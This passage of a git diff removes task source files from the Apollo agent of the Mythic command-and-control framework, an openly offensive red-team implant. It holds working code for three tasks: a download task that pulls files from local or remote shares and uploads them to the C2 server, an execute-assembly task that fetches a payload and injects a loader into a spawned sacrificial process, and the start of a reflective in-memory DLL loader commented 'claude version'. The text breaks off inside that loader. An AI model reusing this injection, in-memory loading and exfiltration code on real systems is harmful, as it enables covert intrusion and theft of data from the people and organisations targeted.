base(agent, mythicTask) - { - - } - - - - public override void Start() - { - CpParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - MythicTaskResponse resp; - List artifacts = new List(); - try - { - FileInfo source = new FileInfo(parameters.SourceFile); - artifacts.Add(Artifact.FileOpen(source.FullName)); - if (source.Attributes.HasFlag(FileAttributes.Directory)) - { - resp = CreateTaskResponse( - $"{source.FullName} is a directory. Please specify a file.", - true, - "error", - artifacts.ToArray()); - } - else - { - File.Copy(parameters.SourceFile, parameters.DestinationFile); - FileInfo dest = new FileInfo(parameters.DestinationFile); - artifacts.Add(Artifact.FileWrite(dest.FullName, source.Length)); - artifacts.Add(new FileBrowser(dest)); - resp = CreateTaskResponse( - $"Copied {source.FullName} to {dest.FullName}", - true, - "completed", - artifacts.ToArray()); - } - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Failed to copy file: {ex.Message}", true, "error", artifacts.ToArray()); - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/download.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/download.cs deleted file mode 100644 index f2a25c4e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/download.cs +++ /dev/null @@ -1,132 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define DOWNLOAD -#endif - -#if DOWNLOAD - -using System; -using System.Linq; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; -using System.IO; - -namespace Tasks -{ - public class download : Tasking - { - [DataContract] - internal struct DownloadParameters - { - [DataMember(Name = "file")] - public string FileName; - [DataMember(Name = "host")] - public string Hostname; - } - - private static string[] localhostAliases = new string[] - { - "localhost", - "127.0.0.1", - Environment.GetEnvironmentVariable("COMPUTERNAME").ToLower() - }; - - public download(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) - { - - } - - public override void Start() - { - MythicTaskResponse resp; - try - { - DownloadParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - string host = parameters.Hostname; - if (string.IsNullOrEmpty(parameters.Hostname) && !File.Exists(parameters.FileName)) - { - resp = CreateTaskResponse( - $"File '{parameters.FileName}' does not exist.", - true, - "error"); - } - else - { - string path; - if (string.IsNullOrEmpty(parameters.Hostname)) - { - path = parameters.FileName; - string cwd = System.IO.Directory.GetCurrentDirectory().ToString(); - if (cwd.StartsWith("\\\\")) - { - var hostPieces = cwd.Split('\\'); - if (hostPieces.Length > 2) - { - host = hostPieces[2]; - path = $@"\\{hostPieces[2]}\{parameters.FileName}"; - } - else - { - resp = CreateTaskResponse($"invalid UNC path for CWD: {cwd}. Can't determine host. Please use explicit UNC path", true, "error"); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } - else - { - host = Environment.GetEnvironmentVariable("COMPUTERNAME"); - } - - } else if (localhostAliases.Contains(parameters.Hostname.ToLower())) - { - path = parameters.FileName; - host = Environment.GetEnvironmentVariable("COMPUTERNAME"); - } - else - { - path = $@"\\{parameters.Hostname}\{parameters.FileName}"; - - } - byte[] fileBytes = new byte[0]; - fileBytes = File.ReadAllBytes(path); - - IMythicMessage[] artifacts = new IMythicMessage[1] - { - new Artifact - { - BaseArtifact = "FileOpen", - ArtifactDetails = path - } - }; - if (_agent.GetFileManager().PutFile( - _cancellationToken.Token, - _data.ID, - fileBytes, - parameters.FileName, - out string mythicFileId, - false, - host)) - { - resp = CreateTaskResponse("", true, "completed", artifacts); - } - else - { - resp = CreateTaskResponse( - $"Download of {path} failed or aborted.", - true, - "error", artifacts); - } - } - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Unexpected error: {ex.Message}\n\n{ex.StackTrace}", true, "error"); - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/execute_assembly.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/execute_assembly.cs deleted file mode 100644 index 052eedc1..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/execute_assembly.cs +++ /dev/null @@ -1,329 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define EXECUTE_ASSEMBLY -#endif - -#if EXECUTE_ASSEMBLY - -using System; -using System.Linq; -using System.Text; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; -using ApolloInterop.Serializers; -using System.Threading; -using System.Collections.Concurrent; -using System.IO.Pipes; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Classes.Core; -using ApolloInterop.Classes.Collections; -using ApolloInterop.Utils; - -namespace Tasks -{ - - internal class ExecuteAssemblyException : Exception - { - public ExecuteAssemblyException() - { - } - - public ExecuteAssemblyException(string message) : base(message) - { - } - - public ExecuteAssemblyException(string message, Exception inner) - : base (message, inner) - { - } - } - - public class execute_assembly : Tasking - { - [DataContract] - internal struct ExecuteAssemblyParameters - { - [DataMember(Name = "pipe_name")] - public string PipeName; - [DataMember(Name = "assembly_name")] - public string AssemblyName; - [DataMember(Name = "assembly_id")] - public string AssemblyId; - [DataMember(Name = "assembly_arguments")] - public string AssemblyArguments; - [DataMember(Name = "loader_stub_id")] - public string LoaderStubId; - } - - private AutoResetEvent _senderEvent = new AutoResetEvent(false); - private ConcurrentQueue _senderQueue = new ConcurrentQueue(); - private JsonSerializer _serializer = new JsonSerializer(); - private AutoResetEvent _complete = new AutoResetEvent(false); - private Action _sendAction; - - private Action _flushMessages; - private ThreadSafeList _assemblyOutput = new ThreadSafeList(); - private bool _completed = false; - private System.Threading.Tasks.Task flushTask; - - public execute_assembly(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) - { - _sendAction = (object p) => - { - PipeStream ps = (PipeStream)p; - while (ps.IsConnected && !_cancellationToken.IsCancellationRequested) - { - WaitHandle.WaitAny(new WaitHandle[] - { - _senderEvent, - _cancellationToken.Token.WaitHandle - }); - if (!_cancellationToken.IsCancellationRequested && ps.IsConnected && _senderQueue.TryDequeue(out byte[] result)) - { - try - { - ps.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, p); - } - catch - { - ps.Close(); - _complete.Set(); - return; - } - - } else if (!ps.IsConnected) - { - ps.Close(); - _complete.Set(); - return; - } - } - ps.Close(); - _complete.Set(); - }; - - _flushMessages = (object p) => - { - string output = ""; - while (!_cancellationToken.IsCancellationRequested && !_completed) - { - WaitHandle.WaitAny(new WaitHandle[] - { - _complete, - _cancellationToken.Token.WaitHandle - }, 2000); - output = string.Join("", _assemblyOutput.Flush()); - if (!string.IsNullOrEmpty(output)) - { - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - output, - false, - "")); - } - } - while (true) - { - System.Threading.Tasks.Task.Delay(1000).Wait(); // wait 1s - output = string.Join("", _assemblyOutput.Flush()); - if (!string.IsNullOrEmpty(output)) - { - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - output, - false, - "")); - } else - { - DebugHelp.DebugWriteLine($"no longer collecting output"); - return; - } - } - - }; - } - - public override void Kill() - { - _completed = true; - _complete.Set(); - flushTask.Wait(); - _cancellationToken.Cancel(); - - } - - public override void Start() - { - MythicTaskResponse resp; - Process? proc = null; - try - { - ExecuteAssemblyParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - if (string.IsNullOrEmpty(parameters.LoaderStubId) || - string.IsNullOrEmpty(parameters.AssemblyName) || - string.IsNullOrEmpty(parameters.PipeName)) - { - throw new ExecuteAssemblyException($"One or more required arguments was not provided."); - } - - if (!_agent.GetFileManager().GetFileFromStore(parameters.AssemblyName, out byte[] assemblyBytes)) - { - if (!_agent.GetFileManager().GetFile(_cancellationToken.Token, _data.ID, parameters.AssemblyId, out assemblyBytes)) - { - resp = CreateTaskResponse($"Failed to fetch {parameters.AssemblyName} from Mythic", true); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - return; - } else - { - _agent.GetFileManager().AddFileToStore(parameters.AssemblyName, assemblyBytes); - } - } - - if (!_agent.GetFileManager().GetFile(_cancellationToken.Token, _data.ID, parameters.LoaderStubId, out byte[] exeAsmPic)) - { - throw new ExecuteAssemblyException($"Failed to download assembly loader stub (with id: {parameters.LoaderStubId})"); - } - - ApplicationStartupInfo info = _agent.GetProcessManager().GetStartupInfo(IntPtr.Size == 8); - proc = _agent.GetProcessManager().NewProcess(info.Application, info.Arguments, true); - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", false, "Spawning sacrificial process...")); - try - { - if (!proc.Start()) - { - throw new ExecuteAssemblyException("process not started."); - } - } - catch (Exception e) - { - throw new ExecuteAssemblyException($"Failed to start '{info.Application}' sacrificial process: {e.Message}"); - } - - _agent.GetTaskManager() - .AddTaskResponseToQueue( - CreateTaskResponse( - "", - false, - "", - new IMythicMessage[] - { - Artifact.ProcessCreate((int) proc.PID, info.Application, info.Arguments) - } - ) - ); - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", false, "Injecting stub...")); - if (!proc.Inject(exeAsmPic)) - { - throw new ExecuteAssemblyException($"Failed to inject assembly loader into sacrificial process {info.Application}."); - } - - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - "", - false, - "", - new IMythicMessage[] - { - Artifact.ProcessInject((int) proc.PID, - _agent.GetInjectionManager().GetCurrentTechnique().Name) - })); - - IPCCommandArguments cmdargs = new IPCCommandArguments - { - ByteData = assemblyBytes, - StringData = string.IsNullOrEmpty(parameters.AssemblyArguments) - ? "" - : parameters.AssemblyArguments, - }; - - AsyncNamedPipeClient client = new AsyncNamedPipeClient("127.0.0.1", parameters.PipeName); - client.ConnectionEstablished += Client_ConnectionEstablished; - client.MessageReceived += Client_MessageReceived; - client.Disconnect += Client_Disconnect; - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", false, "Connecting to named pipe...")); - if (!client.Connect(10000)) - { - throw new ExecuteAssemblyException($"Injected assembly into sacrificial process: {info.Application}.\n Failed to connect to named pipe."); - } - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", false, "Sending over assembly...")); - IPCChunkedData[] chunks = _serializer.SerializeIPCMessage(cmdargs); - foreach (IPCChunkedData chunk in chunks) - { - _senderQueue.Enqueue(Encoding.UTF8.GetBytes(_serializer.Serialize(chunk))); - } - - _senderEvent.Set(); - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", false, "Waiting for assembly to finish...")); - WaitHandle.WaitAny(new WaitHandle[] - { - _cancellationToken.Token.WaitHandle - }); - - resp = CreateTaskResponse("", true, "completed"); - } - catch (ExecuteAssemblyException ex) - { - resp = CreateTaskResponse($"Error executing assembly\n\n{ex.Message}", true, "error"); - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Unexpected error: {ex.Message}\n\n{ex.StackTrace}", true, "error"); - } - - if (proc != null && proc.PID > 0 && !proc.HasExited) - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", false, "Killing process...")); - proc.Kill(); - resp.Artifacts = [Artifact.ProcessKill((int)proc.PID)]; - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - - private void Client_Disconnect(object sender, NamedPipeMessageArgs e) - { - _completed = true; - _complete.Set(); - flushTask.Wait(); - e.Pipe.Close(); - _cancellationToken.Cancel(); - - } - - private void Client_ConnectionEstablished(object sender, NamedPipeMessageArgs e) - { - System.Threading.Tasks.Task.Factory.StartNew(_sendAction, e.Pipe, _cancellationToken.Token); - flushTask = System.Threading.Tasks.Task.Factory.StartNew(_flushMessages, _cancellationToken.Token); - } - - public void OnAsyncMessageSent(IAsyncResult result) - { - PipeStream pipe = (PipeStream)result.AsyncState; - // Potentially delete this since theoretically the sender Task does everything - if (pipe.IsConnected && !_cancellationToken.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] data)) - { - try - { - pipe.EndWrite(result); - pipe.BeginWrite(data, 0, data.Length, OnAsyncMessageSent, pipe); - } - catch - { - - } - - } - } - - private void Client_MessageReceived(object sender, NamedPipeMessageArgs e) - { - IPCData d = e.Data; - string msg = Encoding.UTF8.GetString(d.Data.Take(d.DataLength).ToArray()); - DebugHelp.DebugWriteLine($"adding data to output"); - _assemblyOutput.Add(msg); - } - } -} -#endif diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/execute_coff.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/execute_coff.cs deleted file mode 100644 index cb3ba38e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/execute_coff.cs +++ /dev/null @@ -1,1282 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define EXECUTE_COFF -#endif - -#if EXECUTE_COFF - -using ApolloInterop.Classes; -using ApolloInterop.Classes.Api; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Utils; -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; -using System.Runtime.Serialization; -using System.Security.Principal; -using System.Text; -using System.Threading; -using static Tasks.execute_coff; - - -namespace Tasks -{ - public class execute_coff : Tasking - { - [DataContract] - internal struct CoffParameters - { - [DataMember(Name = "coff_name")] - public string CoffName; - [DataMember(Name = "function_name")] - public string FunctionName; - [DataMember(Name = "timeout")] - public int timeout; - [DataMember(Name = "coff_arguments")] - public String PackedArguments; - [DataMember(Name = "bof_id")] - public string BofId; - [DataMember(Name = "coff_id")] - public string CoffLoaderId; - } - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate int RunCOFFDelegate(string functionname, IntPtr coff_data, uint filesize, IntPtr argumentdata, int argumentSize); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate IntPtr UnhexlifyDelegate([MarshalAs(UnmanagedType.LPStr)] string value, [In, Out] ref int outlen); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate IntPtr BeaconGetOutputDataDelegate([In, Out] ref int outsize); - // Add imported SetThreadToken API for thread token manipulation - [DllImport("advapi32.dll", SetLastError = true)] - private static extern bool SetThreadToken( - ref IntPtr ThreadHandle, - IntPtr Token); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr GetCurrentThread(); - - private static RunCOFFDelegate? _RunCOFF; - private static UnhexlifyDelegate? _Unhexlify; - private static BeaconGetOutputDataDelegate? _BeaconGetOutputData; - public execute_coff(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) - { - - } - // claude version - public class MemoryModule : IDisposable - { - #region Native Methods - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern bool VirtualFree(IntPtr lpAddress, UIntPtr dwSize, uint dwFreeType); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern void CopyMemory(IntPtr destination, IntPtr source, UIntPtr length); - - [DllImport("kernel32.dll", EntryPoint = "RtlZeroMemory", SetLastError = true)] - private static extern void ZeroMemory(IntPtr dest, UIntPtr size); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); - - [DllImport("kernel32.dll", SetLastError = true, EntryPoint = "GetProcAddress")] - private static extern IntPtr GetProcAddressByOrdinal(IntPtr hModule, IntPtr lpProcOrdinal); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr LoadLibrary(string lpFileName); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern bool FreeLibrary(IntPtr hModule); - - #endregion - - #region Constants - - // Memory allocation flags - private const uint MEM_COMMIT = 0x1000; - private const uint MEM_RESERVE = 0x2000; - private const uint MEM_RELEASE = 0x8000; - - // Memory protection flags - private const uint PAGE_NOACCESS = 0x01; - private const uint PAGE_READONLY = 0x02; - private const uint PAGE_READWRITE = 0x04; - private const uint PAGE_WRITECOPY = 0x08; - private const uint PAGE_EXECUTE = 0x10; - private const uint PAGE_EXECUTE_READ = 0x20; - private const uint PAGE_EXECUTE_READWRITE = 0x40; - private const uint PAGE_EXECUTE_WRITECOPY = 0x80; - private const uint PAGE_GUARD = 0x100; - private const uint PAGE_NOCACHE = 0x200; - private const uint PAGE_WRITECOMBINE = 0x400; - - // DLL Characteristics - private const ushort IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040; - private const ushort IMAGE_DLL_CHARACTERISTICS_NX_COMPAT = 0x0100; - - // Directory indexes for IMAGE_DATA_DIRECTORY - private const int IMAGE_DIRECTORY_ENTRY_EXPORT = 0; - private const int IMAGE_DIRECTORY_ENTRY_IMPORT = 1; - private const int IMAGE_DIRECTORY_ENTRY_RESOURCE = 2; - private const int IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3; - private const int IMAGE_DIRECTORY_ENTRY_SECURITY = 4; - private const int IMAGE_DIRECTORY_ENTRY_BASERELOC = 5; - private const int IMAGE_DIRECTORY_ENTRY_DEBUG = 6; - private const int IMAGE_DIRECTORY_ENTRY_COPYRIGHT = 7; - private const int IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8; - private const int IMAGE_DIRECTORY_ENTRY_TLS = 9; - private const int IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10; - private const int IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = 11; - private const int IMAGE_DIRECTORY_ENTRY_IAT = 12; - private const int IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13; - private const int IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14; - - // Section characteristics - private const uint IMAGE_SCN_MEM_EXECUTE = 0x20000000; - private const uint IMAGE_SCN_MEM_READ = 0x40000000; - private const uint IMAGE_SCN_MEM_WRITE = 0x80000000; - - // Relocation types - private const int IMAGE_REL_BASED_ABSOLUTE = 0; - private const int IMAGE_REL_BASED_HIGH = 1; - private const int IMAGE_REL_BASED_LOW = 2; - private const int IMAGE_REL_BASED_HIGHLOW = 3; - private const int IMAGE_REL_BASED_HIGHADJ = 4; - private const int IMAGE_REL_BASED_DIR64 = 10; - - // DLL entry point function prototype - private delegate bool DllEntryDelegate(IntPtr hinstDLL, uint fdwReason, IntPtr lpvReserved); - - // DLL entry reasons - private const uint DLL_PROCESS_ATTACH = 1; - private const uint DLL_THREAD_ATTACH = 2; - private const uint DLL_THREAD_DETACH = 3; - private const uint DLL_PROCESS_DETACH = 0; - - // PE Header offsets - private const int PE_HEADER_OFFSET = 0x3C; - private const int OPTIONAL_HEADER32_MAGIC = 0x10B; - private const int OPTIONAL_HEADER64_MAGIC = 0x20B; - - #endregion - - #region Structures - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_DOS_HEADER - { - public ushort e_magic; - public ushort e_cblp; - public ushort e_cp; - public ushort e_crlc; - public ushort e_cparhdr; - public ushort e_minalloc; - public ushort e_maxalloc; - public ushort e_ss; - public ushort e_sp; - public ushort e_csum; - public ushort e_ip; - public ushort e_cs; - public ushort e_lfarlc; - public ushort e_ovno; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] - public ushort[] e_res1; - public ushort e_oemid; - public ushort e_oeminfo; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] - public ushort[] e_res2; - public int e_lfanew; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_FILE_HEADER - { - public ushort Machine; - public ushort NumberOfSections; - public uint TimeDateStamp; - public uint PointerToSymbolTable; - public uint NumberOfSymbols; - public ushort SizeOfOptionalHeader; - public ushort Characteristics; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_DATA_DIRECTORY - { - public uint VirtualAddress; - public uint Size; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_OPTIONAL_HEADER32 - { - public ushort Magic; - public byte MajorLinkerVersion; - public byte MinorLinkerVersion; - public uint SizeOfCode; - public uint SizeOfInitializedData; - public uint SizeOfUninitializedData; - public uint AddressOfEntryPoint; - public uint BaseOfCode; - public uint BaseOfData; - public uint ImageBase; - public uint SectionAlignment; - public uint FileAlignment; - public ushort MajorOperatingSystemVersion; - public ushort MinorOperatingSystemVersion; - public ushort MajorImageVersion; - public ushort MinorImageVersion; - public ushort MajorSubsystemVersion; - public ushort MinorSubsystemVersion; - public uint Win32VersionValue; - public uint SizeOfImage; - public uint SizeOfHeaders; - public uint CheckSum; - public ushort Subsystem; - public ushort DllCharacteristics; - public uint SizeOfStackReserve; - public uint SizeOfStackCommit; - public uint SizeOfHeapReserve; - public uint SizeOfHeapCommit; - public uint LoaderFlags; - public uint NumberOfRvaAndSizes; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] - public IMAGE_DATA_DIRECTORY[] DataDirectory; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_OPTIONAL_HEADER64 - { - public ushort Magic; - public byte MajorLinkerVersion; - public byte MinorLinkerVersion; - public uint SizeOfCode; - public uint SizeOfInitializedData; - public uint SizeOfUninitializedData; - public uint AddressOfEntryPoint; - public uint BaseOfCode; - public ulong ImageBase; - public uint SectionAlignment; - public uint FileAlignment; - public ushort MajorOperatingSystemVersion; - public ushort MinorOperatingSystemVersion; - public ushort MajorImageVersion; - public ushort MinorImageVersion; - public ushort MajorSubsystemVersion; - public ushort MinorSubsystemVersion; - public uint Win32VersionValue; - public uint SizeOfImage; - public uint SizeOfHeaders; - public uint CheckSum; - public ushort Subsystem; - public ushort DllCharacteristics; - public ulong SizeOfStackReserve; - public ulong SizeOfStackCommit; - public ulong SizeOfHeapReserve; - public ulong SizeOfHeapCommit; - public uint LoaderFlags; - public uint NumberOfRvaAndSizes; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] - public IMAGE_DATA_DIRECTORY[] DataDirectory; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_NT_HEADERS32 - { - public uint Signature; - public IMAGE_FILE_HEADER FileHeader; - public IMAGE_OPTIONAL_HEADER32 OptionalHeader; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_NT_HEADERS64 - { - public uint Signature; - public IMAGE_FILE_HEADER FileHeader; - public IMAGE_OPTIONAL_HEADER64 OptionalHeader; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_SECTION_HEADER - { - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] - public byte[] Name; - public uint PhysicalAddress; - public uint VirtualAddress; - public uint SizeOfRawData; - public uint PointerToRawData; - public uint PointerToRelocations; - public uint PointerToLinenumbers; - public ushort NumberOfRelocations; - public ushort NumberOfLinenumbers; - public uint Characteristics; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_IMPORT_DESCRIPTOR - { - public uint OriginalFirstThunk; - public uint TimeDateStamp; - public uint ForwarderChain; - public uint Name; - public uint FirstThunk; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_THUNK_DATA32 - { - public uint ForwarderString; // PBYTE - public uint Function; // PDWORD - public uint Ordinal; // DWORD - public uint AddressOfData; // PIMAGE_IMPORT_BY_NAME - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_THUNK_DATA64 - { - public ulong ForwarderString; // PBYTE - public ulong Function; // PDWORD - public ulong Ordinal; // DWORD - public ulong AddressOfData; // PIMAGE_IMPORT_BY_NAME - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_IMPORT_BY_NAME - { - public ushort Hint; - // Variable length array of bytes follows - // char Name[1]; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_BASE_RELOCATION - { - public uint VirtualAddress; - public uint SizeOfBlock; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_EXPORT_DIRECTORY - { - public uint Characteristics; - public uint TimeDateStamp; - public ushort MajorVersion; - public ushort MinorVersion; - public uint Name; - public uint Base; - public uint NumberOfFunctions; - public uint NumberOfNames; - public uint AddressOfFunctions; - public uint AddressOfNames; - public uint AddressOfNameOrdinals; - } - - #endregion - - #region Fields - - private IntPtr _baseAddress; - private bool _disposed; - private readonly Dictionary _modules; - private readonly bool _is64Bit; - private readonly ulong _imageBase; - private readonly uint _sizeOfImage; - private readonly IntPtr _entryPoint; - - #endregion - - #region Constructor and Finalizer - - /// - /// Loads a DLL from a byte array into memory. - /// - /// The DLL bytes to load. - public MemoryModule(byte[] dllBytes) - { - if (dllBytes == null || dllBytes.Length == 0) - throw new ArgumentNullException(nameof(dllBytes)); - - _modules = new Dictionary(StringComparer.OrdinalIgnoreCase); - - // Parse the PE header to determine if it's a 32-bit or 64-bit DLL - GCHandle pinnedArray = GCHandle.Alloc(dllBytes, GCHandleType.Pinned); - try - { - IntPtr ptrData = pinnedArray.AddrOfPinnedObject(); - - // Read the DOS header - IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(ptrData, typeof(IMAGE_DOS_HEADER)); - if (dosHeader.e_magic != 0x5A4D) // "MZ" - throw new BadImageFormatException("Invalid DOS header signature."); - - // Read the PE header - IntPtr ptrNtHeader = IntPtr.Add(ptrData, dosHeader.e_lfanew); - uint peSignature = (uint)Marshal.ReadInt32(ptrNtHeader); - if (peSignature != 0x00004550) // "PE\0\0" - throw new BadImageFormatException("Invalid PE header signature."); - - // Read the file header - IntPtr ptrFileHeader = IntPtr.Add(ptrNtHeader, 4); - IMAGE_FILE_HEADER fileHeader = (IMAGE_FILE_HEADER)Marshal.PtrToStructure(ptrFileHeader, typeof(IMAGE_FILE_HEADER)); - - // Check optional header magic to determine if it's 32-bit or 64-bit - IntPtr ptrOptionalHeader = IntPtr.Add(ptrFileHeader, Marshal.SizeOf(typeof(IMAGE_FILE_HEADER))); - ushort magic = (ushort)Marshal.ReadInt16(ptrOptionalHeader); - - if (magic == OPTIONAL_HEADER32_MAGIC) - { - _is64Bit = false; - IMAGE_OPTIONAL_HEADER32 optionalHeader = (IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure(ptrOptionalHeader, typeof(IMAGE_OPTIONAL_HEADER32)); - _imageBase = optionalHeader.ImageBase; - _sizeOfImage = optionalHeader.SizeOfImage; - } - else if (magic == OPTIONAL_HEADER64_MAGIC) - { - _is64Bit = true; - IMAGE_OPTIONAL_HEADER64 optionalHeader = (IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure(ptrOptionalHeader, typeof(IMAGE_OPTIONAL_HEADER64)); - _imageBase = optionalHeader.ImageBase; - _sizeOfImage = optionalHeader.SizeOfImage; - } - else - { - throw new BadImageFormatException("Invalid optional header magic value."); - } - - // Allocate memory for the DLL - _baseAddress = VirtualAlloc(IntPtr.Zero, (UIntPtr)_sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if (_baseAddress == IntPtr.Zero) - throw new OutOfMemoryException("Failed to allocate memory for DLL."); - - try - { - // Copy the headers - uint headerSize = _is64Bit - ? ((IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure(ptrOptionalHeader, typeof(IMAGE_OPTIONAL_HEADER64))).SizeOfHeaders - : ((IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure(ptrOptionalHeader, typeof(IMAGE_OPTIONAL_HEADER32))).SizeOfHeaders; - - if (headerSize > dllBytes.Length) - throw new BadImageFormatException("Header size is larger than the DLL data."); - - Marshal.Copy(dllBytes, 0, _baseAddress, (int)headerSize); - - // Map sections - IntPtr ptrSectionHeader = _is64Bit - ? IntPtr.Add(ptrOptionalHeader, Marshal.SizeOf(typeof(IMAGE_OPTIONAL_HEADER64))) - : IntPtr.Add(ptrOptionalHeader, Marshal.SizeOf(typeof(IMAGE_OPTIONAL_HEADER32))); - - for (int i = 0; i < fileHeader.NumberOfSections; i++) - { - IMAGE_SECTION_HEADER sectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure(ptrSectionHeader, typeof(IMAGE_SECTION_HEADER)); - - if (sectionHeader.SizeOfRawData > 0) - { - if (sectionHeader.PointerToRawData + sectionHeader.SizeOfRawData > dllBytes.Length) - throw new BadImageFormatException("Section data extends beyond the DLL data."); - - IntPtr destAddress = IntPtr.Add(_baseAddress, (int)sectionHeader.VirtualAddress); - IntPtr sourceAddress = IntPtr.Add(ptrData, (int)sectionHeader.PointerToRawData); - Marshal.Copy(dllBytes, (int)sectionHeader.PointerToRawData, destAddress, (int)sectionHeader.SizeOfRawData); - } - - ptrSectionHeader = IntPtr.Add(ptrSectionHeader, Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER))); - } - - // Process imports - ProcessImports(); - - // Process relocations - ProcessRelocations(); - - // Set proper memory protection for sections - ProtectMemory(); - - // Get the entry point - uint entryPointRva = _is64Bit - ? ((IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure(ptrOptionalHeader, typeof(IMAGE_OPTIONAL_HEADER64))).AddressOfEntryPoint - : ((IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure(ptrOptionalHeader, typeof(IMAGE_OPTIONAL_HEADER32))).AddressOfEntryPoint; - - if (entryPointRva != 0) - { - _entryPoint = IntPtr.Add(_baseAddress, (int)entryPointRva); - - // Call DllMain with DLL_PROCESS_ATTACH - DllEntryDelegate dllEntry = (DllEntryDelegate)Marshal.GetDelegateForFunctionPointer(_entryPoint, typeof(DllEntryDelegate)); - bool result = dllEntry(_baseAddress, DLL_PROCESS_ATTACH, IntPtr.Zero); - if (!result) - throw new Exception("DllMain returned FALSE for DLL_PROCESS_ATTACH."); - } - } - catch 